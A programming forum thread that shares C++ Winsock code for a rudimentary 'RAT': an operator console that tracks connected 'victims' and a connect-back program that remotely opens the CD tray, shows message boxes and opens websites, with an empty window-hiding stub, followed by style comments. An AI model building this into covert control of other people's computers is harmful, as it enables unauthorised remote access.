Thread: [C++] Client-Server Model

Results 1 to 5 of 5
  1. #1 [C++] Client-Server Model 
    Registered Member
    Join Date
    Mar 2012
    Posts
    14
    Thanks
    0
    Thanked 3 Times in 1 Post
    Rep Power
    20
    Server:
    Code:
    #include <WinSock2.h>
    #include <iostream>
    #include <conio.h>
    #include <Windows.h>
    #include <string>
    
    #include <mmsystem.h>
    
    #pragma comment(lib, "ws2_32.lib")
    #pragma comment(lib,"Winmm.lib") //for mciSendString
    
    using namespace std;
    
    SOCKET Connect;
    SOCKADDR_IN addr;
    bool connected = false;
    
    void HideWindows()
    {
    
    }
    
    void Sending(string TEXT)
    {
    
    }
    
    void Parsing()
    {
    	while (connected)
    	{
    		try
    		{
    			char buffer[255];
    			int bytes = recv(Connect, buffer, sizeof(buffer), 0);
    			string hello = buffer;
    			cout << "Server> " << hello << endl;
    
    		if (bytes <= 0)
    		{
    			cout << "Disconnected...by bytes 0." << endl;
    			//close socket
    			break;
    		}
    
    		if (hello == "openCD")
    			{
    				mciSendString("Set CDAudio Door Open", NULL, 0, NULL);
    			}
    
    		if (hello == "closeCD")
    			{
    				mciSendString("Set CDAudio Door Open", NULL, 0, NULL);
    			}
    
    		if (hello == "msgBox")
    			{
    				MessageBox(NULL, "Got a broadcast!", "Testing", MB_OK | MB_ICONASTERISK);
    			}
    
    		if (hello.find("-visit") == 0)
    			{
    				//string website = hello.erase(0,7);
    				
    				ShellExecute(NULL, "open", "http://www.google.co.uk", NULL, NULL, SW_SHOWNORMAL);
    			}
    
    		}
    		catch (exception x)
    		{
    			cout << "Disconnected..by try and error." << endl;
    			break;
    			//close socket
    		}
    	}
    }
    
    void Connecting()
    {
    	Sleep(4000);
    
    	if (connect(Connect, (SOCKADDR*)&addr, sizeof addr) != 0)
    		{
    			cout << "Couldn't connect..." << endl;
    		}
    	else
    		{
    			cout << "Connected to server!" << endl;
    			connected = true;
    		}
    
    	return;
    }
    
    int main()
    {
    	WSADATA wsaData;
    	WSAStartup(MAKEWORD(2,1), &wsaData);
    
    	Connect = socket(AF_INET, SOCK_STREAM, NULL);
    
    	addr.sin_family = AF_INET;
    	addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    	addr.sin_port = htons(45820);
    
    	while (!connected)
    	{
    		Connecting();
    	}
    
    	//------------connected
    	
    	CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) Parsing , NULL, NULL, NULL);
    
    	_getch();
    	return 0;
    }
    Client:
    Code:
    #include <WinSock2.h>
    #include <Windows.h>
    #include <iostream>
    #include <conio.h>
    #include <string>
    #include <vector>
    #include <list>
    #include <algorithm>
    #include <sstream>
    
    using namespace std;
    
    #pragma comment(lib, "Ws2_32.lib")
    
    long port;
    int connections;
    int identifier;
    bool running = false;
    bool listening = false;
    string selection;
    string batch;
    
    SOCKET server;
    SOCKET client;
    
    SOCKADDR_IN addr;
    int cnect = sizeof(addr);
    
    list <SOCKET> myList;
    
    class Constructor
    {
    public:
    	Constructor ();
    	Constructor (SOCKET);
    
    	//list <SOCKET> myList;
    	SOCKET _client;
    	char * _ip;
    };
    
    //void SendFunc(string TEXT)
    //{
    	//char buffer[] = TEXT;
    	
    //}
    
    void ReceiveFunc()
    {
    	char buffer[255];
    
    }
    
    void MultiCast(SOCKET client)
    {
    	cout << inet_ntoa(addr.sin_addr) << "    [" << identifier << "]" << endl; 
    
    	string toString;
    
    	stringstream out;
    	out << identifier;//add number to the stream
        toString = out.str();
    	
    	cout << selection << " selection \n";
    	cout << toString << " identifier \n";
    
    	identifier++;
    	//itoa (i,,16);
    
    	//std::cout << inet_ntoa(addr.sin_addr) << std::endl; ONLY FOR TESTING PURPOSES
    	if (selection == toString) //inet_ntoa(addr.sin_addr) //identifier
    	{
    		//string message = "Multicasted...";
    		char bufferSend[255];
    			strcpy(bufferSend, batch.c_str()); //message
    			send(client, bufferSend, sizeof(bufferSend), 0);
    
    			selection == "";
    			batch == "";
    	}
    }
    
    void BroadCast(SOCKET client)
    {
    	//cout << inet_ntoa(addr.sin_addr) << "    [" << identifier++ << "]" << endl;
    	
    	//cout << batch; ONLY FOR TESTING PURPOSES
    	//string message = "Broadcasted...";
    	char bufferSend[255];
    			strcpy(bufferSend, batch.c_str()); //message
    			send(client, bufferSend, sizeof(bufferSend), 0);
    
    			selection == "";
    			batch == "";
    
    	identifier = 0;
    }
    
    void ListUsers(SOCKET i)
    {
    	cout << inet_ntoa(addr.sin_addr) << "       ID =   [" << identifier << "]" << endl; 
    	identifier++;
    }
    
    Constructor::Constructor(SOCKET victim)
    {
    	_client = victim;
    	_ip = inet_ntoa(addr.sin_addr);
    	std::cout << "[ " << inet_ntoa(addr.sin_addr) << " ] " << "has connected!" << std::endl;
    	cout << "\n";
    
    	myList.push_back(victim);
    
    	//for_each (myList.begin(), myList.end(), BroadCast);
    
    	Beep(500, 500);
    
    	//test pentru chestii
    
    	/*
    	string message = "openCD";
    	char bufferSend[255];
    			strcpy(bufferSend, message.c_str());
    			send(victim, bufferSend, sizeof(bufferSend), 0);
    	*/
    
    	//sterge dupa ce am terminat
    
    	//CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) ReceiveFunc , NULL, NULL, NULL);
    }
    
    void Listen()
    {
    	addr.sin_family = AF_INET;
    	addr.sin_addr.s_addr = INADDR_ANY;
    	addr.sin_port = htons(45820); //htonl? and port
    
    	if (bind(server, (SOCKADDR*)&addr, sizeof(addr)) != 0)
    	{
    		MessageBox(NULL, "Failed to bind SOCK... please check port or ADDR_IN.", "Error", MB_OK | MB_ICONERROR);
    		exit(1);
    	}
    	
    	if (listen(server, SOMAXCONN) != 0)
    	{
    		MessageBox(NULL, "Failed to listen... please check port or ADDR_IN.", "Error", MB_OK | MB_ICONERROR);
    		exit(1);
    	}
    
    	listening = true;
    
    	while (listening)
    	{
    		try
    		{
    			Constructor * user = new Constructor(accept(server, (SOCKADDR*)&addr, &cnect));
    			// not meants to be here for connection list [below]
    			connections++;
    		}
    		catch(exception x)
    		{
    
    		}	
    	}
    }
    
    void _commands(string command)
    {
    	if (command == "/help")
    	{
    		cout << "" << endl;
    		cout << "/listen <PORT> ----- |listens on port specified [default is 8085]|" << endl;
    		cout << "/broadcast ----- |sends a messagebox with rat response|" << endl;
    		cout << "/stat ----- |displays the status of the rat and connections|" << endl;
    		cout << "/users ---- |lists all connected users|" << endl;
    		cout << "-visit <WEBSITE> ----- |broadcast website >EX< http://www.google.com|" << endl;
    		cout << "-oCD <USER_ID> ----- |opens the user's CD-ROM|" << endl;
    		cout << "-cCD <USER_ID> ----- |closes the user's CD-ROM|" << endl;
    		cout << "-dc <USER_ID> ----- |disconnects the user|" << endl;
    
    		cout << "/restart ----- |restarts the application|" << endl;
    		cout << "/exit ----- |exists the console|" << endl;
    		cout << "" << endl;
    	}
    	else if (command.find("/listen") == 0)
    	{
    		command.erase(0, 7); //it's probably 8, that's why port int won't work, and use htons
    		port = atoi(command.c_str());
    
    		if (port == 0)
    		{
    			port = 45820;
    		}
    		cout << "Listening on port: " << port << "." << endl;
    		cout << "" << endl;
    
    		CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) Listen, NULL, NULL, NULL);
    	}
    	else if (command == "/stat")
    	{
    		cout << "\n";
    
    		if (running)
    		{
    			cout << "The server is running well and awaiting for commands. \n";
    		}
    		else
    		{
    			cout << "The server is not running and stuck. \n";
    		}
    
    		if (listening)
    		{
    			cout << "Server is already listening on port " << port << "\n";
    		}
    		else
    		{
    			cout << "The server is NOT listening on any ports. \n";
    		}
    
    		if (connections == 0)
    		{
    			cout << "There are no users connected. \n";
    		}
    		else
    		{
    			cout << "Currently there are " << connections << " connected! \n";
    		}
    			
    		cout << "" << endl;
    	}
    
    	else if (command.find("-visit") == 0)
    	{
    		batch = command; //will cause problems if ID is more than 2 digits
    		//for_each (myList.begin(), myList.end(), MultiCast);
    		for_each (myList.begin(), myList.end(), BroadCast);
    	}
    
    	else if (command == "/users")
    	{
    		for_each (myList.begin(), myList.end(), ListUsers);
    		identifier = 0;
    	}
    
    	else if (command == "/broadcast")
    	{
    		batch = "msgBox";
    		//cout << batch; ONLY FOR TESTING PURPOSES
    		for_each (myList.begin(), myList.end(), BroadCast);
    	}
    
    	else if (command.find("-oCD") == 0)
    	{
    		string user_ID = command.erase(0, 5);
    		//cout << user_ID; ONLY FOR TESTING PURPOSES
    		batch = "openCD";
    
    		if (user_ID == "")
    		{
    			cout << "\n";
    			cout << "No user selected..." << endl;
    			cout << "\n";
    		}
    		else
    		{
    			selection = user_ID;
    			for_each (myList.begin(), myList.end(), MultiCast);
    			identifier = 0;
    		}
    	}
    
    	else if (command.find("-cCD") == 0)
    	{
    		string user_ID = command.erase(0, 5);
    		//cout << user_ID; ONLY FOR TESTING PURPOSES
    		batch = "closeCD";
    
    		if (user_ID == "")
    		{
    			cout << "\n";
    			cout << "No user selected..." << endl;
    			cout << "\n";
    		}
    		else
    		{
    			selection = user_ID;
    			for_each (myList.begin(), myList.end(), MultiCast);
    			identifier = 0;
    		}
    	}
    
    	else if (command == "/exit")
    	{
    		listening = false;
    		running = false;
    		exit(0);
    	}
    	else
    	{
    		cout << "Unknown command..." << endl;
    		cout << "\n";
    	}
    }
    
    int main()
    {
    	WSADATA wsadata;
    	if (WSAStartup(MAKEWORD(2,1), &wsadata) != 0)
    	{
    		MessageBox(NULL, "Failed to INIT_WSOCK, please restart the application!", "Error", MB_OK | MB_ICONERROR);
    		return 1;
    	}
    
    	server = socket(AF_INET, SOCK_STREAM, NULL);
    	client = socket(AF_INET, SOCK_STREAM, NULL);
    
    	running = true;
    	string command;
    
    	system("color 0f");
    	cout << "///Symbiote RAT/// started. #Type /help for commands." << endl;
    	cout << "" << endl;
    
    	while (running)
    	{
    		getline(cin, command);
    		_commands(command);
    	}
    
    	_getch();
    	return 0;
    }
    The R.A.T like functions are only there to demonstrate how different statements can be executed remotely. Hope somebody finds this to be of use. I'll post Java related topics in the future as I've gathered that the majority here prefer Java.
    Reply With Quote  
     

  2. #2  
    JOIN THE VIM SIDE OF THE FORCE

    Join Date
    Nov 2007
    Age
    18
    Posts
    1,162
    Thanks
    306
    Thanked 426 Times in 191 Posts
    Rep Power
    1016
    Well if I'd be building a R.A.T. I wouldn't execute statements so verbosely though ;P

    Anyhow, I wouldn't name the Client object "Constructor" just name it "Client or Session"
    Monads are just Monoids in the category of Endofunctors. What is the problem?
    Reply With Quote  
     

  3. #3  
    ☻☻☻☻☻☻
    Jack Daniels's Avatar
    Join Date
    Oct 2010
    Posts
    891
    Thanks
    98
    Thanked 151 Times in 81 Posts
    Rep Power
    47
    C++ code looks ugly compared to jerba :3
    Reply With Quote  
     

  4. #4  
    Pon de Floor


    Mister Maggot's Avatar
    Join Date
    Dec 2008
    Age
    17
    Posts
    6,750
    Thanks
    3,108
    Thanked 2,562 Times in 1,425 Posts
    Rep Power
    5000
    Quote Originally Posted by Jack Daniels View Post
    C++ code looks ugly compared to jerba :3
    Depends on the programmer. Syntax beauty isn't something you should consider past having an understandable and easy one.
    Quote Originally Posted by Original View Post
    Yeah, I haven't used JFrame before, I've always used OpenGL
    I coded a boolean once
    ¯\_(ツ)_/¯ lol idk just rep me
    Reply With Quote  
     

  5. #5  
    Registered Member
    Join Date
    Mar 2012
    Posts
    14
    Thanks
    0
    Thanked 3 Times in 1 Post
    Rep Power
    20
    Granted, the conventions in this class are not great. I program in C# / Java this was just something I attempted in C++
    Reply With Quote  
     


Thread Information
Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Replies: 36
    Last Post: 05-23-2012, 12:16 AM
  2. [help] client - with model loading!
    By Kylee123456 in forum Help
    Replies: 2
    Last Post: 01-11-2012, 01:21 PM
  3. Help Client Model
    By Warren in forum Help
    Replies: 7
    Last Post: 11-16-2011, 10:08 PM
  4. Client model
    By Guvnor in forum Help
    Replies: 4
    Last Post: 04-02-2011, 01:51 AM
Posting Permissions
  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •